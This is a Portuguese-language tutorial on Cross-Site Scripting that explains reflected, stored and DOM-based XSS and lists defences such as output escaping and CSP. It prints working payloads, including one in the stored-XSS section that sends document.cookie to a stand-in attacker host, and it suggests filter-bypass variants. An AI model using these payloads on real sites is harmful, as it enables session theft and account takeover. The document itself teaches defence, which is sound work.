XSS

O Ataque Mais Subestimado da Web

XSS: O Ataque Mais Subestimado da Web

Cross-Site Scripting (XSS) é uma das falhas mais antigas da segurança web — e ainda uma das mais comuns. Em poucas palavras, XSS é quando um site permite que um atacante insira scripts (normalmente JavaScript) que serão executados no navegador de outra pessoa.

Mesmo com todos os frameworks modernos que existem hoje, ainda é fácil encontrar sites vulneráveis a XSS refletido, armazenado ou baseado em DOM.

 

1. XSS Refletido

É o mais simples: o atacante envia um link com um script embutido e a vítima executa ao clicar.

Exemplo: imagine que o site vulneravel.com tenha uma busca que exibe o que foi digitado assim:

Você pesquisou por: <script>alert('XSS')</script>

Se esse valor veio diretamente da URL, como em vulneravel.com/busca.php?q=<script>alert('XSS')</script>, e o site não tratou a entrada, o alerta vai aparecer no navegador da vítima. O script foi refletido e executado.

 

2. XSS Armazenado

Aqui o atacante salva o código malicioso em algum lugar — como num comentário. A diferença é que qualquer pessoa que carregar a página vai ser afetada.

Exemplo: alguém comenta <script>fetch('https://site-do-atacante.com?cookie=' + document.cookie)</script> num post. Se o site não limpa esse conteúdo antes de exibir, todos que acessarem aquele post terão seus cookies enviados para o atacante.

 

3. XSS baseado em DOM

Esse acontece inteiramente no navegador, sem interação com o servidor. O site pega dados da URL e injeta direto no HTML da página via JavaScript.

Exemplo: se o código da página faz document.getElementById("resultado").innerHTML = location.search, e a URL é site.com?p=<img src=x onerror=alert('XSS')>, a tag com onerror será executada, abrindo o alerta.

 

Impacto real

Muita gente acha que XSS é só pra mostrar um alert('XSS'), mas ele pode ser usado pra:

Roubar cookies de sessão

Redirecionar vítimas para páginas falsas

Injetar keyloggers

Manipular o conteúdo da página

Executar ataques CSRF em nome da vítima

 

Como se proteger

– Nunca exiba conteúdo do usuário sem higienizar antes.
– Use funções como htmlspecialchars no PHP, que transformam < em &lt;, por exemplo.
– Evite usar innerHTML e document.write sem necessidade.
– Ative e configure CSP (Content Security Policy) no seu site.
– Prefira frameworks como React ou Vue, que tratam conteúdo automaticamente, mas não confie apenas neles.

 

Dica prática

Quer testar se um campo está vulnerável? Insira um payload simples como <img src=x onerror=alert('XSS')> e veja se algo acontece.
Se abrir um alerta, o XSS está presente.

 

XSS parece bobo, mas continua sendo um dos vetores mais explorados até hoje. Sites mal configurados ou APIs mal construídas são alvos fáceis. Todo hacker ético precisa saber como identificar, explorar e mitigar esse tipo de falha.

Quer ir além? Teste diferentes variantes de XSS, como <svg onload=alert(1)>, ou bypasses de filtros usando codificação hexadecimal, que ainda pegam muita aplicação de surpresa.